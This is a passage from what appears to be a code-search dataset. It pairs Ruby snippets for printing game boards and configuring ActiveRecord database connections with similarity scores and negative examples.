"def show_board(board_hash)\n five_spaces = \"#{\" \"*5}\"\n five_dashes = \"#{\"-\"*5}\"\n empty_line = \"#{five_spaces}|#{five_spaces}|#{five_spaces}\"\n divider_line = \"#{five_dashes}+#{five_dashes}+#{five_dashes}\"\n pipe = \" | \"\n row1 = \" #{board_hash[\"1\"]}#{pipe}#{board_hash[\"2\"]}#{pipe}#{board_hash[\"3\"]} \"\n row2 = \" #{board_hash[\"4\"]}#{pipe}#{board_hash[\"5\"]}#{pipe}#{board_hash[\"6\"]} \"\n row3 = \" #{board_hash[\"7\"]}#{pipe}#{board_hash[\"8\"]}#{pipe}#{board_hash[\"9\"]} \"\n puts empty_line\n puts row1\n puts empty_line\n puts divider_line\n puts empty_line\n puts row2\n puts empty_line\n puts divider_line\n puts empty_line\n puts row3\n puts empty_line\nend",
"def display_board(matrix, message = [])\n message.each{ |m| puts m }\n\n puts <<-eos\n A B C D E F G H I J\n +---------------------------------------+\n eos\n matrix.each_with_index do |x, i|\n puts <<-eos\n #{i+1} #{\" \" if i != 9}| #{x[0]} | #{x[1]} | #{x[2]} | #{x[3]} | #{x[4]} | #{x[5]} | #{x[6]} | #{x[7]} | #{x[8]} | #{x[9]} |\n |---|---|---|---|---|---|---|---|---|---|\n eos\n end\n\n puts <<-eos\n +---------------------------------------+\n eos\nend",
"def display_board(board)\n returnBoard = \"\"\n i = 0\n board.each do |x|\n returnBoard += \" #{x} \"\n if i != 2 && i != 5 && i != 8\n returnBoard += \"|\"\n end\n \n if i == 2 || i == 5\n returnBoard += \"\\n-----------\\n\"\n end\n i+=1\n end\n puts returnBoard\nend",
"def printBoard(arr)\n puts \" \" + arr[0].to_s + \" | \" + arr[1].to_s + \" | \" + arr[2].to_s\n puts \"-----------------------\"\n puts \" \" + arr[3].to_s + \" | \" + arr[4].to_s + \" | \" + arr[5].to_s\n puts \"-----------------------\"\n puts \" \" + arr[6].to_s + \" | \" + arr[7].to_s + \" | \" + arr[8].to_s\nend",
"def display\n puts \"+-------------------+\"\n\n for row in 0..BOARD_MAX_INDEX\n print '|'\n for col in 0..BOARD_MAX_INDEX\n s=@board[row][col]\n if s==EMPTY_POS\n print col+(row*3)+1\n else\n print s\n end\n print \"|\"\n end\n puts \"\"\n end\n print \"\\n+--------------+\"\n\n end",
"def display_board(boardState)\n row1 = \" #{boardState[0].upcase} | #{boardState[1].upcase} | #{boardState[2].upcase} \"\n rowDivider = \"-----------\"\n row2 = \" #{boardState[3].upcase} | #{boardState[4].upcase} | #{boardState[5].upcase} \"\n row3 = \" #{boardState[6].upcase} | #{boardState[7].upcase} | #{boardState[8].upcase} \"\n\n puts row1\n puts rowDivider\n puts row2\n puts rowDivider\n puts row3\nend",
"def blanks(size)\n \"+\" * size\n end",
"def display_board(board = [\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def to_s\n # @board.each_char.with_index do |char|\n # p \"#{char} \"\n # p \"\\n\" if\n string = \"\"\n (0..8).each do |row|\n @board.slice(row*9,9).each_char {|char| string << \"#{char} \"}\n string << \"\\n\"\n end\n\n return string\n\n end",
"def display_board(board)\n board = [\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"]\n \nend",
"def size_or_blank(size)\n if size > 0\n \"(#{size})\"\n end\n end",
"def display_board(brd)\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend",
"def print_board(board) \n puts(' ' + '7' + ' | ' + '8' + ' | ' + '9')\n puts('-----------')\n puts(' ' + '4' + ' | ' + '5' + ' | ' + '6')\n puts('-----------')\n puts(' ' + '1' + ' | ' + '2' + ' | ' + '3')\n puts('')\n puts(' ' + board[7] + ' | ' + board[8] + ' | ' + board[9])\n puts('-----------')\n puts(' ' + board[4] + ' | ' + board[5] + ' | ' + board[6])\n puts('-----------')\n puts(' ' + board[1] + ' | ' + board[2] + ' | ' + board[3])\n\nend",
"def initialize_board\n b = []\n 9.times { b << ' ' } \n b\nend",
"def display_board(board=\"\")\n rows = [\" #{board[0]} | #{board[1]} | #{board[2]} \",\\\n \" #{board[3]} | #{board[4]} | #{board[5]} \",\\\n \" #{board[6]} | #{board[7]} | #{board[8]} \"]\n puts \"#{rows[0]}\\n-----------\\n#{rows[1]}\\n-----------\\n#{rows[2]}\"\n\nend",
"def display_board(board)\n\n puts \"#{board [0]} |#{board [1]} |#{board [2]} \"\n puts \"-----------\"\n puts \"#{board [3]} | #{board [4]} | #{board [5]} \"\n puts \"-----------\"\n puts \"#{board [6]} | #{board [7]} | #{board [8]} \"\n\nend",
"def to_s\n board = \"\\n\"\n background = [248,250,210]\n @state.reverse.each_with_index do |row, i|\n board += \"#{(8 - i)} \"\n row.each do |square|\n if square == nil\n board += Paint[\" \", nil, background]\n else\n board += Paint[\" #{square.symbol} \", nil, background]\n end\n background = switch_background(background)\n end\n board += \"\\n\"\n background = switch_background(background)\n end\n board += \" a b c d e f g h \"\n end",
"def display_board(board = [\" \", \" \", \" \", \" \", \" \", \" \", \"O\", \"O\", \"O\"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board = [\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"])\n row_one = \" #{board[0]} | #{board[1]} | #{board[2]} \"\n dashes = \"-----------\"\n row_two = \" #{board[3]} | #{board[4]} | #{board[5]} \"\n row_three = \" #{board[6]} | #{board[7]} | #{board[8]} \"\n puts row_one\n puts dashes\n puts row_two\n puts dashes\n puts row_three\nend",
"def display_board (toe)\n puts \" #{toe[0]} | #{toe[1]} | #{toe[2]} \"\n puts \"-----------\"\n puts \" #{toe[3]} | #{toe[4]} | #{toe[5]} \"\n puts \"-----------\"\n puts \" #{toe[6]} | #{toe[7]} | #{toe[8]} \"\nend",
"def display_board(tic_toes = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"])\n puts \" #{tic_toes[0]} | #{tic_toes[1]} | #{tic_toes[2]} \"\n puts \"-----------\"\n puts \" #{tic_toes[3]} | #{tic_toes[4]} | #{tic_toes[5]} \"\n puts \"-----------\"\n puts \" #{tic_toes[6]} | #{tic_toes[7]} | #{tic_toes[8]} \"\nend",
"def display_board(board)\n board.each_index do |i|\n val = board[i] == \" \" ? \" \" : \" #{board[i]} \"\n\n if i == 2 || i == 5\n print \"#{val}\\n-----------\\n\"\n elsif i == 8\n print \"#{val}\\n\"\n else\n print \"#{val}|\"\n end\n end\nend",
"def draw_board(word)\n \"_\" * @word.length\n end",
"def outboard\n out = \"\"\n ([email protected]).each do |i|\n out += @board[i].map {|b| b == 1 ? \" X \" : \" \"}.join(\"\") + \"\\n\"\n end\n out\n end",
"def display_board(brd)\n # system 'clear'\n puts \"\"\n puts \".....|.....|\"\n puts \"..#{brd[1]}..|..#{brd[2]}..|. #{brd[3]}\"\n puts \".....|.....|\"\n puts \"-----+-----+-----\"\n puts \".....|.....|\"\n puts \"..#{brd[4]}..|..#{brd[5]}..|. #{brd[6]}\"\n puts \".....|.....|\"\n puts \"-----+-----+-----\"\n puts \".....|.....|\"\n puts \"..#{brd[7]}..|..#{brd[8]}..|. #{brd[9]}\"\n puts \".....|.....|\"\n puts \"\"\nend",
"def display_board(board = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board = [\" \", \" \", \"O\", \" \", \"O\", \" \", \"O\", \" \", \" \"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board =[\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \"])\n print \" #{board[0]} | #{board[1]} | #{board[2]} \\n-----------\\n #{board[3]} | #{board[4]} | #{board[5]} \\n-----------\\n #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board)\n board1 = \" #{board[0]} \"+\"|\"\" #{board[1]} \"+\"|\"\" #{board[2]} \\n\"\n board2 = \"-----------\\n\"\n board3 = \" #{board[3]} \"+\"|\"\" #{board[4]} \"+\"|\"\" #{board[5]} \\n\"\n board4 = \"-----------\\n\"\n board5 = \" #{board[6]} \"+\"|\"\" #{board[7]} \"+\"|\"\" #{board[8]} \\n\"\n fullBoard = board1+board2+board3+board4+board5\n puts fullBoard\nend",
"def display_board(board = [\" \", \" \", \" \", \" \", \"X\", \" \", \" \", \" \", \" \"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def put_board\n\t\t#system \"clear\" or system \"cls\"\n #system \"clear\" or system \"cls\"\n\t\ti = 7\n\t\tn = false\n\t\twhile i>=0 do\n\t\t if n == false\n\t\t row(@table,i)\n\t\t n = true\n\t\t else\n\t\t row(@table,i,n)\n\t\t n = false \n\t\t end\n\t i-=1\n\t end\n return \"\"\n\tend",
"def display_board(board) #Do NOT remove!\n\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n\nend",
"def heart(size)\n return HEART if size < 3\n px = size * 0.5\n py = size * 0.37\n r = size * 0.625\n\n y_nums = (1..size).map {|m| m }.reverse\n matrix = y_nums.map do |y|\n (1..size).map do |x|\n if y > size * 0.7\n sqrt( (px - x) ** 2 + (py - y) ** 2 ) < r\n else\n x < 1.7 * y\n end\n end\n end\n matrix[0][0] = false\n matrix[1][0] = false if matrix.size > 1\n\n RED + matrix.map do |row|\n row = row.dup.reverse + row.dup\n row = row.map {|b| b ? \"@\" : \" \" }\n row[0] = \" \"\n row[row.size-1] = \" \"\n row << \"\\n\" \n row.join\n end.join\n end",
"def isBoardFull()\n\n # TO DO: COMPLETE THIS PART OF THE METHOD\n\n counter = 0\n totalSpaces = @size * @size\n\n for i in 0..@size-1\n for j in 0..@size-1\n if @board[i][j] != \"-\"\n counter = counter + 1\n end\n end\n end\n\n if counter == totalSpaces\n return true\n end\n\n\t\treturn false\n end",
"def display_board(brd)\n puts green(\"You're #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\")\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend",
"def display_board\n display = \" a b c d e f g h \\n\"\n @board.each_with_index do |arr, i|\n line = \"#{i + 1} \"\n arr.each do |hash|\n hash[:piece].nil? ? line += \"#{hash[:base]} \" : line += \"#{hash[:piece].name} \"\n end\n line += \"\\n\"\n display += line\n end\n display\n end",
"def display_board\n cell = \" \"\n divider = \"|\"\n demarcator = \"\"\n 11.times { demarcator << \"-\" }\n row = cell + divider + cell + divider + cell\n\n puts row\n puts demarcator\n puts row\n puts demarcator\n puts row\nend",
"def display_board(arry)\n print \" #{arry[0]} | #{arry[1]} | #{arry[2]} \"\n print \"-----------\"\n print \" #{arry[3]} | #{arry[4]} | #{arry[5]} \"\n print \"-----------\"\n print \" #{arry[6]} | #{arry[7]} | #{arry[8]} \"\nend",
"def display_board(board = [\"X\", \"X\", \"X\", \" \", \" \", \" \", \" \", \" \", \" \"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def board\n @board_horizontal.flatten.join(\"\")\n end",
"def display_board(board)\n line1 = \" | | \"\n line2 = \"-----------\"\n line_x = \" | X | \"\n line_xxx = \" X | X | X \"\n line_o = \" O | | \"\n line_ooo = \" O | O | O \"\n linex1 = \" X | | \"\n linex3 = \" | | X \"\n line_o3 = \" | | O \"\n line_o2 = \" | O | \"\n line_oo = \" O | O | \"\n line_xoo = \" X | O | O \"\n line_xox = \" X | O | X \"\n line_oxo = \" O | X | O \"\n line_xoo = \" X | O | O \"\n line_oxx = \" O | X | X \"\n\n\n if board == [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n puts line1\n puts line2\n puts line1\n puts line2\n puts line1\n end\n if board == [\" \", \" \", \" \", \" \", \"X\", \" \", \" \", \" \", \" \"]\n puts line1\n puts line2\n puts line_x\n puts line2\n puts line1\n end\n if board == [\"O\", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n puts line_o\n puts line2\n puts line1\n puts line2\n puts line1\n end\n if board == [\"O\", \" \", \" \", \" \", \"X\", \" \", \" \", \" \", \" \"]\n puts line_o\n puts line2\n puts line_x\n puts line2\n puts line1\n end\n if board == [\"X\", \"X\", \"X\", \" \", \" \", \" \", \" \", \" \", \" \"]\n puts line_xxx\n puts line2\n puts line1\n puts line2\n puts line1\n end\n if board == [\" \", \" \", \" \", \" \", \" \", \" \", \"O\", \"O\", \"O\"]\n puts line1\n puts line2\n puts line1\n puts line2\n puts line_ooo\n end\n if board == [\"X\", \" \", \" \", \" \", \"X\", \" \", \" \", \" \", \"X\"]\n puts linex1\n puts line2\n puts line_x\n puts line2\n puts linex3\n end\n if board == [\" \", \" \", \"O\", \" \", \"O\", \" \", \"O\", \" \", \" \"]\n puts line_o3\n puts line2\n puts line_o2\n puts line2\n puts line_o\n end\n if board == [\"X\", \"X\", \"X\", \"X\", \"O\", \"O\", \"X\", \"O\", \"O\"]\n puts line_xxx\n puts line2\n puts line_xoo\n puts line2\n puts line_xoo\n end\n if board == [\"X\", \"O\", \"X\", \"O\", \"X\", \"X\", \"O\", \"X\", \"O\"]\n puts line_xox\n puts line2\n puts line_oxx\n puts line2\n puts line_oxo\n end\n\nend",
"def to_s\n board_2d.map do |row|\n row.map { |letter| '%-3s' % letter }.join(' ')\n end.join(\"\\n\")\n end",
"def show_board\n\t\ttop_left = \"\\u250c\"\n\t\thorizontal = \"\\u2500\"\n\t\ttop_right = \"\\u2510\"\n\t\tbot_left = \"\\u2514\"\n\t\tbot_right = \"\\u2518\"\n\t\tvertical = \"\\u2502\"\n\t\tcross = \"\\u253c\"\n\t\ttop_cross = \"\\u252c\"\n\t\tbot_cross = \"\\u2534\"\n\t\tleft_vertical = \"\\u251c\"\n\t\tright_vertical = \"\\u2524\"\n\n\t\ttop_board = \" \" + top_left + (horizontal*3 + top_cross)*7 + horizontal*3 + top_right\n\t\tmid_board = vertical + (\" \" + vertical)*7 + \" \" + vertical\n\t\tseparator_board = \" \" + left_vertical + (horizontal*3 + cross)*7 + horizontal*3 + right_vertical\n\t\tbot_board = \" \" + bot_left + (horizontal*3 + bot_cross)*7 + horizontal*3 + bot_right\n\n\t\tputs \"\\n\" + top_board\n\n\t\t(2..8).reverse_each do |num|\n\t\t\tmid_test = num.to_s + vertical\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\tpair = letter + num.to_s \n\t\t\t\tmid_test += \" #{@board[pair].view} \" + vertical\n\t\t\tend\n\t\t\tputs mid_test\n\t\t\tputs separator_board\n\t\tend\n\n\t\tmid_test = 1.to_s + vertical\n\t\t(\"a\"..\"h\").each do |letter|\n\t\t\tpair = \"#{letter}1\"\n\t\t\tmid_test += \" #{@board[pair].view} \" + vertical\n\t\tend\n\n\t\tputs mid_test\n\t\tputs bot_board\n\t\tputs \" a b c d e f g h\\n\"\t\t\n\tend",
"def initialize(snake_static)\r\n # number of bits in the bitvector\r\n @length = snake_static.count(\"X\")\r\n \r\n @to_board = lambda do |snake|\r\n # build board (2d array with n times n size, where n = 2*snake.length + 1)\r\n board = []\r\n (2 * snake.length + 1).times do\r\n board << Array.new(2 * snake.length + 1, ' ')\r\n end\r\n \r\n p = Point.new(snake.length, snake.length)\r\n dir = Point.new(1,0)\r\n max = p.dup\r\n min = p.dup\r\n \r\n snake.each_char do |c|\r\n # exit if current position is not blank\r\n return nil if board[p.y][p.x] != ' '\r\n # set current position\r\n board[p.y][p.x] = c\r\n # compute next position\r\n dir.rotate!(c)\r\n p += dir\r\n # update min and max\r\n max = Point.max(max, p)\r\n min = Point.min(min, p)\r\n end \r\n #set last position\r\n return nil if board[p.y][p.x] != ' '\r\n board[p.y][p.x] = 'X'\r\n \r\n minimized_board = []\r\n min.y.upto(max.y) do |y|\r\n minimized_board[y - min.y] = []\r\n min.x.upto(max.x) do |x|\r\n minimized_board[y - min.y][x - min.x] = board[y][x]\r\n end\r\n end\r\n \r\n minimized_board\r\n end\r\n \r\n @to_string = lambda do |value|\r\n configuration = (\"%.#{length}b\" % value).reverse.split(\"\")\r\n directions = ['R', 'L']\r\n direction = 0\r\n snake = snake_static.split(\"\")\r\n \r\n snake.each_with_index do |c, i|\r\n if c == 'X'\r\n if configuration.pop == '1'\r\n direction = 1 - direction\r\n end\r\n snake[i] = directions[direction]\r\n end\r\n end\r\n \r\n snake.join(\"\")\r\n end\r\n \r\n flood_fill = lambda do |board, x, y|\r\n if board[y] && board[y][x] == ' '\r\n board[y][x] = 'o'\r\n \r\n flood_fill.call(board, x+1, y)\r\n flood_fill.call(board, x, y+1)\r\n flood_fill.call(board, x-1, y)\r\n flood_fill.call(board, x, y-1)\r\n end\r\n end\r\n \r\n # energy function that returns energy of a bitvector\r\n # (the lower the number, the fitter the bitvector)\r\n \r\n @energy_a = lambda do |value|\r\n snake = @to_string.call(value)\r\n board = @to_board.call(snake)\r\n \r\n return Float::INFINITY unless board\r\n \r\n width = board[0].length\r\n height = board.length\r\n Math.sqrt(width*width + height*height)\r\n end\r\n \r\n @energy_b = lambda do |value|\r\n snake = @to_string.call(value)\r\n board = @to_board.call(snake)\r\n \r\n return Float::INFINITY unless board\r\n \r\n width = board[0].length\r\n height = board.length\r\n \r\n 1.upto(width-1) { |x| flood_fill.call(board, x, 0) }\r\n 1.upto(height-1) { |y| flood_fill.call(board, width-1, y) }\r\n (width-2).downto(0) { |x| flood_fill.call(board, x, height-1) }\r\n (height-2).downto(0) { |y| flood_fill.call(board, 0, y) }\r\n \r\n holes = board.map { |x| x.join('') }.join('').count(' ')\r\n holes = Float::INFINITY if holes == 0\r\n holes\r\n end\r\n \r\n # energy function which uses energy_b to maximize the holes\r\n @energy_c = lambda do |value|\r\n e_b = @energy_b.call(value)\r\n return 0 if e_b == Float::INFINITY\r\n -e_b\r\n end\r\n end",
"def empty_code(size, lvl)\n empty_code = Array.new(size) { '?'.to_sym }.join(\" | \")\n t = (lvl == 0) ? 20 : (lvl == 1) ? 19 : 18.5\n tab(t)\n %Q([ #{empty_code} ]).typing\n end",
"def display_board(board = [\"X\", \" \", \" \", \" \", \"X\", \" \", \" \", \" \", \"X\"])\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\nend",
"def display_board(board=[\" \", \" \", \" \", \" \", \"X\", \" \", \" \", \" \", \" \"])\n 0.step(6,3) do |i|\n if (i<6)\n puts \" #{board[i]} | #{board[i+1]} | #{board[i+2]} \"\n puts \"-----------\"\n else\n puts \" #{board[i]} | #{board[i+1]} | #{board[i+2]} \"\n end\n end\nend",
"def to_s\n \" | | \\n\" + \n \" #{self.board[0]} | #{self.board[1]} | #{self.board[2]} \\n\" +\n \" _ _ _|_ _ _|_ _ _\\n\" +\n \" | | \\n\" + \n \" #{self.board[3]} | #{self.board[4]} | #{self.board[5]} \\n\" +\n \" _ _ _|_ _ _|_ _ _\\n\" +\n \" | | \\n\" +\n \" #{self.board[6]} | #{self.board[7]} | #{self.board[8]} \\n\" +\n \" | | \\n\" \n end",
"def view_board\n\t\t(1..8).to_a.reverse.each do |row|\n\t\t\tstr = \"\"\n\t\t\t('a'..'h').each do |col|\n\t\t\t\tif board[[row,col]] == 2\n\t\t\t\t\tstr << \" . \"\n\t\t\t\telse\n\t\t\t\t\tstr << \" #{board[[row, col]].to_s} \"\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tputs str\n\t\tend\n\tend",
"def display_board(brd, pco, cco)\n system \"clear\"\n prompt(\"You are a #{PLAYER_MARKER}. Computer is a #{COMPUTER_MARKER}.\")\n prompt(\"Player Score = #{pco}, Computer score = #{cco}\")\n puts \"\"\n puts \"1 |2 |3\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----|-----\"\n puts \"4 |5 |6\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----|-----\"\n puts \"7 |8 |9\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend",
"def display_board(board)\n rows = [\" #{board[0]} | #{board[1]} | #{board[2]} \", \"-----------\", \" #{board[3]} | #{board[4]} | #{board[5]} \", \"-----------\", \" #{board[6]} | #{board[7]} | #{board[8]} \"]\n puts rows[0]\n puts rows[1]\n puts rows[2]\n puts rows[3]\n puts rows[4]\nend",
"def input_board\r\n print \"Enter your board with no spaces (ex: CUTERUBYCUBEKOAN): \"\r\n line = gets.chomp\r\n if line.length != 16 then\r\n puts \"You input the board incorrectly.\"\r\n return\r\n end\r\n @board = line.to_s\r\n to_s\r\nend",
"def print_board\n col_numbers = [' ']\n (1..8).each do |row|\n row_items = []\n\n col_numbers << ' ' + row.to_s + ' '\n row_items << row\n \n (1..8).each do |col|\n row_items << @board[[row,col]].console_rep\n end\n\n puts row_items.join(' ')\n end\n puts col_numbers.join(' ')\n end"
] | [
"0.7710083",
"0.67398125",
"0.66570306",
"0.64006877",
"0.63859284",
"0.63433677",
"0.6326673",
"0.63063467",
"0.6300146",
"0.62883115",
"0.62721723",
"0.6269958",
"0.62586683",
"0.6236139",
"0.6236139",
"0.62247515",
"0.62210417",
"0.6220166",
"0.6217392",
"0.6162387",
"0.61510426",
"0.61438626",
"0.6131827",
"0.6105714",
"0.61041003",
"0.6098388",
"0.6098388",
"0.6080526",
"0.60618836",
"0.6032293",
"0.60304797",
"0.6025046",
"0.60195017",
"0.60153115",
"0.60013807",
"0.6000987",
"0.5992753",
"0.5989325",
"0.5985816",
"0.5983449",
"0.59794056",
"0.5970094",
"0.5965952",
"0.5944666",
"0.59415436",
"0.5938197",
"0.5936445",
"0.5932653",
"0.5931064",
"0.5923953",
"0.5920894",
"0.5919107",
"0.5904525",
"0.5901887",
"0.5895622",
"0.58948064",
"0.5886855",
"0.5872025",
"0.58698857",
"0.5868682",
"0.5865982",
"0.5860866",
"0.58551043",
"0.5853784",
"0.5852609",
"0.5846332",
"0.58460224",
"0.5841202",
"0.5832456",
"0.58322203",
"0.5829607",
"0.58277535",
"0.58215535",
"0.58186555",
"0.5806279",
"0.5802178",
"0.5801202",
"0.57908636",
"0.5789263",
"0.57884306",
"0.5786692",
"0.57852495",
"0.5781156",
"0.5780008",
"0.5777148",
"0.5776765",
"0.5770598",
"0.5769496",
"0.576687",
"0.57630885",
"0.5762893",
"0.57566947",
"0.57560986",
"0.5753454",
"0.5748514",
"0.5746332",
"0.57459027",
"0.5744516",
"0.57428557",
"0.5739335"
] | 0.7139748 | 1 |
ActiveRecord::Base.establish_connection :adapter => :nulldb | def check_limit_offset(params)
%i(limit offset).each do |p|
unless params[p].nil?
begin
params[p] = Integer(params[p])
rescue ArgumentError
raise Exception.new("#{p.to_s} is not an integer")
end
end
end
return params
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_connection\n settings = {\n adapter: 'sqlite3',\n database: temp_file(\"\")\n }\n ActiveRecord::Base.establish_connection(settings)\n ActiveRecord::Base.connection\nend",
"def connection\n ActiveRecord::Base.connection\n end",
"def connection\n ActiveRecord::Base.connection\n end",
"def db\n \n ActiveRecord::Base.establish_connection(:adapter => \"mysql2\",\n :database => \"prod1\",\n :user => \"root\",\n :password=>\"Sector@123\",\n :local_infile => true).connection()\n \n end",
"def connect_local\n ActiveRecord::Base.establish_connection(\n :adapter => 'postgresql',\n :encoding => 'unicode',\n :database => ENV['DB_NAME'], # accessmon\n :username => ENV['DB_USERNAME'], # accessmon\n :password => ENV['DB_PASSWORD'],\n :pool => POOL_COUNT,\n :port => PORT_NUMBER,\n :host => 'localhost')\n end",
"def db\n \n ActiveRecord::Base.establish_connection(:adapter => \"mysql2\",\n :database => \"prod1\",\n :user => \"root\",\n :password=>\"Sector@123\").connection()\n \n end",
"def connect_to_old_db\n ActiveRecord::Base.establish_connection(\n :adapter => \"postgresql\",\n :host => \"localhost\",\n :username => \"postgres\",\n :password => \"vegpuf\",\n :database => \"affluence_staging_25_june\"\n )\nend",
"def hijack_db\n ActiveRecord::Base.establish_connection(\n :adapter => ENV['YAPTESTFE_DBTYPE'],\n :host => ENV['YAPTESTFE_DBIP'],\n :port => ENV['YAPTESTFE_DBPORT'].to_i,\n :username => ENV['YAPTESTFE_DBUSER'],\n :password => ENV['YAPTESTFE_DBPASS'],\n :database => ENV['YAPTESTFE_DBNAME']\n ) \n begin # catch db connection errors\n if not ActiveRecord::Base.connection.active?\n render :template => 'help/dberror', :layout => false\n end\n rescue PGError => msg\n logger.info \"DBERROR: #{msg}\"\n render :template => 'help/dberror', :layout => false\n end\n end",
"def connect_to_db(db='thesis')\n ActiveRecord::Base.establish_connection(\n :adapter => \"postgresql\",\n :host => \"localhost\",\n :username => \"thesis\",\n :password => \"thesis\",\n :database => db.to_s,\n :encoding => \"utf8\"\n )\nend",
"def default_adapter; :sqlite3 end",
"def revert_database\n ActiveRecord::Base.establish_connection(default_connection)\n end",
"def connect_to_target_db\n ActiveRecord::Base.establish_connection(Rails.env.to_sym)\n end",
"def setup_connection\n db = ENV['DB'].blank?? 'mysql' : ENV['DB']\n\n configurations = YAML.load_file(File.join(File.dirname(__FILE__), '..', '..', 'spec', 'database.yml'))\n raise \"no configuration for '#{db}'\" unless configurations.key? db\n configuration = configurations[db]\n\n ActiveRecord::Base.logger = Logger.new(STDOUT) if $0 == 'irb'\n puts \"using #{configuration['adapter']} adapter\" unless ENV['DB'].blank?\n\n gem 'sqlite3-ruby' if 'sqlite3' == db\n\n ActiveRecord::Base.establish_connection(configuration)\n ActiveRecord::Base.configurations = { db => configuration }\n #prepare ActiveRecord::Base.connection\n\n unless Object.const_defined?(:QUOTED_TYPE)\n Object.send :const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type')\n end\nend",
"def connection\n ::ActiveRecord::Base.connection\n end",
"def raw_connection\n ActiveRecord::Base.connection.raw_connection\n end",
"def setup_connection_adapter\n ActiveRecord::Base.establish_connection(self.to_hash)\n end",
"def connect_db\n ActiveRecord::Base.establish_connection($config)\n log(\"Connected to database\")\nrescue => e\n fatal(\"Failed to connect to the database: #{e}\")\n exit\nend",
"def establish_connection\n ActiveRecord::Base.establish_connection adapter: \"sqlite3\", database: \":memory:\"\n\n ActiveRecord::Migration.create_table :visits do |t|\n t.string :city\n t.datetime :visit_date\n end\nend",
"def connection\n ActiveRecord::Base.connection\n end",
"def connection\n ActiveRecord::Base.connection\n end",
"def setup_database\n ActiveRecord::Base.remove_connection\n\n ActiveRecord::Base.establish_connection(\n adapter: 'sqlite3',\n database: ':memory:'\n )\n\n ActiveRecord::Migration.suppress_messages do\n load File.expand_path('db/schema.rb')\n end\nend",
"def connect_remote\n #ENV['DATABASE_URL'] ||= \"postgres://glue.pumpingstationone.org/?pool=5\"\n #ActiveRecord::Base.establish_connection(ENV['DATABASE_URL'])\n ActiveRecord::Base.establish_connection(\n :adapter => 'postgresql',\n :encoding => 'unicode',\n :database => ENV['DB_NAME'], # accessmon\n :username => ENV['DB_USERNAME'], # accessmon\n :password => ENV['DB_PASSWORD'],\n :pool => POOL_COUNT,\n :port => PORT_NUMBER,\n :host => ENV['DB_HOST'])\n end",
"def recon\n !!ActiveRecord::Base.establish_connection\nend",
"def setup_for_postgres\n ActiveRecord::Base.establish_connection adapter: \"postgresql\", \n database: \"active_symbol_test\",\n :username=>:active_symbol_test, :password=>\"active_symbol_test\"\n setup_db\nend",
"def getDatabaseType\n return ActiveRecord::Base.connection.adapter_name\n end",
